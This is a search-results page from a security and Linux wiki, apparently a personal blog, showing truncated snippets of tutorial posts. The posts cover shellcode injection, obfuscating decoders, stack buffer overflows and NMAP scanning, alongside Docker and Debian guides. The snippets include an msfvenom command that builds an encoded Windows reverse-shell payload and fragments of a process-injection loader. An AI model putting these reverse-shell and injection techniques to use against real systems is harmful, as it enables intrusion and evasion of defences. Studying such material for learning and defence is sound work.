Suche
Unten sind die Ergebnisse Ihrer Suche gelistet.
Passende Seitennamen:
Volltextergebnisse:
- Obfuscation: polymorphic in-memory decoder @en:it-security:blog
- d at disguising shellcode as a UUID in the source code. This also worked well, but the shellcode was rec... amed. The decoder starts with this instruction: <code asm> _start: jmp short call_decoder ; Begin of JMP-CALL-POP </code> ''%%JMP-CALL-POP%%'' is a technique that allows us to execute code independently of memory. In this first step, we n
- Shellcode Injection Part 4 @en:it-security:blog
- of ''calc.exe'' on a Windows computer * 64-bit code * Avoid null bytes ===== Preparations ===== =... t from [[https://www.ired.team/offensive-security/code-injection-process-injection/finding-kernel32-base... e used for the structure of the shellcode. ===== Code: Step by step ===== You can also find the complete code on [[https://github.com/psycore8/nosoc-shellcode/
- Buffer overflow in the 64-bit stack - Part 3 @en:it-security:blog
- ssue a system command when calling the function <code gdb> [-------------------------------------code-------------------------------------] 0x4011de <vuln... >: mov eax,0x0 0x4011f7 <vuln+134>: leave </code> \\ \\ ===== Dependencies ===== * socat mod [[... ps://docs.pwntools.com/en/stable/install.html)) <code bash> python3 -m pip install --upgrade pip python
- n8n installation with Docker Compose @en:linux
- an) ===== ==== 1.1 Uninstall old versions ==== <code bash> sudo apt-get remove docker docker-engine docker.io containerd runc </code> ==== 1.2 Repo installation ==== === 1.2.1 Update apt and activate HTTPS === <code bash> sudo apt-get update sudo apt-get install... tc/apt/sources.list.d/docker.list > /dev/null </code> === 1.2.2 Add Docker GPG Key === <code bash>
- n8n installation with Docker Compose @en:linux:n8n
- an) ===== ==== 1.1 Uninstall old versions ==== <code bash> sudo apt-get remove docker docker-engine docker.io containerd runc </code> ==== 1.2 Repo installation ==== === 1.2.1 Update apt and activate HTTPS === <code bash> sudo apt-get update sudo apt-get install... tc/apt/sources.list.d/docker.list > /dev/null </code> === 1.2.2 Add Docker GPG Key === <code bash>
- Buffer overflow in the 64-bit stack - part 1 @en:it-security:blog
- ileges.((https://www.ired.team/offensive-security/code-injection-process-injection/binary-exploitation/6... s://github.com/longld/peda/blob/master/README)) <code bash> git clone https://github.com/longld/peda.gi... peda echo "source ~/peda/peda.py" >> ~/.gdbinit </code> \\ \\ ==== Deactivate ASLR ==== ASLR must be de... ivated so that memory areas are not randomised. <code bash> echo 0 | sudo tee /proc/sys/kernel/randomiz
- Open IRC channel @en:irc
- yet familiar with these, you can use the command <code mirc>/rules</code> command in your IRC client. ===== Step 1: Create the channel ===== To create this channel, enter the following: <code mirc>/join #DeinChannel</code> The Deinchannel will of course be named after the respective channel na
- Shellcode Injection Part 1 @en:it-security:blog
- rmat | | > shell.c | Save to the file shell.c | <code bash> msfvenom -p windows/shell_reverse_tcp LHOST... ta_ga_nai -i 8 -b '\x00\x0d\x0a' -f c > shell.c </code> \\ \\ ===== C++ Injector ===== We create a new ... = 540; int main(int argc, char** argv) { char* code; printf("#nosoc - expecttheunexpected"); code = (char*)VirtualAlloc(NULL, size, MEM_COMMIT,PAGE_E
- Helpful NMAP scanner commands @en:it-security
- === Command Set ===== ==== Discover Hosts ==== <code bash> export IPRANGE='172.16.0.0/16' nmap -e tun0 -sn -v -oA pingscan $IPRANGE </code> ==== Parse Results ==== <code bash> grep Up pingscan.gnmap | awk '{print$2}' > 172_16_ping_ips.txt </code> ==== Discover Services ==== <code bash> nmap -
- Formatting Syntax @en:wiki
- nd_strings_in_your_installation|localisation]]): <code - conf/lang/en/lang.php> <?php /** * Customizati... be modified */ $lang['js']['nosmblinks'] = ''; </code> ==== Image Links ==== You can also use an imag... t use indention for deeper levels - That's it <code> * This is a list * The second item * You... t use indention for deeper levels - That's it </code> Also take a look at the [[doku>faq:lists|FAQ on
- Obfuscation: ByteSwapping @en:it-security:blog
- %%''|''%%F9%%''|''%%12%%''|''%%D1%%''| ===== The code ===== ==== Step 1: Python Encoder ==== The corr... e array * Return the byte array as the result <code python> def encrypt(data: bytes, xor_key: int... e = enc_byte return bytes(transformed) </code> ==== Step 2: Assembly ==== Now the assembly mu... cancels the encryption. You can find the complete code at the end of the article. === Step 2.1: Initial
- Shellcode Injection Part 3 @en:it-security:blog
- ome circumstances it may be necessary to load the code for the shell in the second step. In this blog p... a file via HTTP and then execute it. \\ \\ ===== Code ===== ==== C++ source ==== First, we need a sma... e shellcode into memory and then jumps into it. <code cpp> ... //buf represents the shellcode unsigned ... jump __asm { mov eax, target jmp eax } } </code> You can find the complete code in the [[https:/
- Debian Distribution Upgrade - Squeeze to Wheezy @en:linux:debian
- === 2. display the current Debian version ===== <code bash> cat /etc/debian_version 6.0.7 </code> ===== 3. update packages ===== <code bash> apt-get update apt-get upgrade apt-get dist-upgrade </code> ===== 4. customise the sources.list ===== Adap
- Buffer overflow in the 64-bit stack - Part 2 @en:it-security:blog
- 80568|kompilierte debug binary]] from the blog. <code bash> br *vuln+73 # setze Breakpoint r < i... "/bin/sh") RIP: 0x400469 (<_init+25>: ret) </code> \\ \\ ===== Dependencies ===== What is needed? ... fer_overflow_x64|Part 1]], we also need ropper. <code bash> sudo apt install ropper </code> \\ \\ ===== Deactivate ASLR ===== ASLR must also be deactivated
- Shellcode Injection Part 2 @en:it-security:blog
- e tools as in part 1. You can download the source code from the [[https://github.com/psycore8/nosoc-shellcode|Github repository]]. \\ \\ ===== Code ===== ==== Explanation ==== Our code should receive the PID of the target process as a parameter at s... 'with the return value of the programme handle. <code cpp> processHandle = OpenProcess(PROCESS_ALL_ACCE